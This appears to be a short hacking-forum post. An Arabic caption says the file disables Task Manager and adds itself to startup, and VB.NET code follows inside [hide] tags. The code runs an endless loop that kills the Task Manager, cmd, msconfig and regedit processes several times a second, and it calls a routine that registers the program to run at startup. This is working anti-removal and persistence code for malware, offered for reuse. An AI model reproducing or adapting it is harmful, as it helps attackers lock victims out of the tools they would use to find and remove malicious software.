الملف يوقف التاسك مانيجر ويضيف نفسه لبدء التشغيل
[hide]
Public Sub Disabler()
Do While True
If (Me.TaskManager <> "DisableTaskManager") Then
Dim process As Process
For Each process In Process.GetProcesses
If (process.ProcessName = "Taskmgr") Then
process.Kill
End If
Next
End If
If (Me.TaskManager <> "DisableTaskManager") Then
Dim process2 As Process
For Each process2 In Process.GetProcesses
If (process2.ProcessName = "taskmgr") Then
process2.Kill
End If
Next
End If
If (Me.cmd <> "Disablecmd") Then
Dim process3 As Process
For Each process3 In Process.GetProcesses
If (process3.ProcessName = "cmd") Then
process3.Kill
End If
Next
End If
If (Me.misconfig <> "Disablemsconfig") Then
Dim process4 As Process
For Each process4 In Process.GetProcesses
If (process4.ProcessName = "msconfig") Then
process4.Kill
End If
Next
End If
If (Me.reg <> "Disablereg") Then
Dim process5 As Process
For Each process5 In Process.GetProcesses
If (process5.ProcessName = "regedit") Then
process5.Kill
End If
Next
End If
If (Me.startup <> "Disablestartup") Then
Me.addtostartup
End If
Thread.Sleep(200)
Loop
End Sub
[/hide]
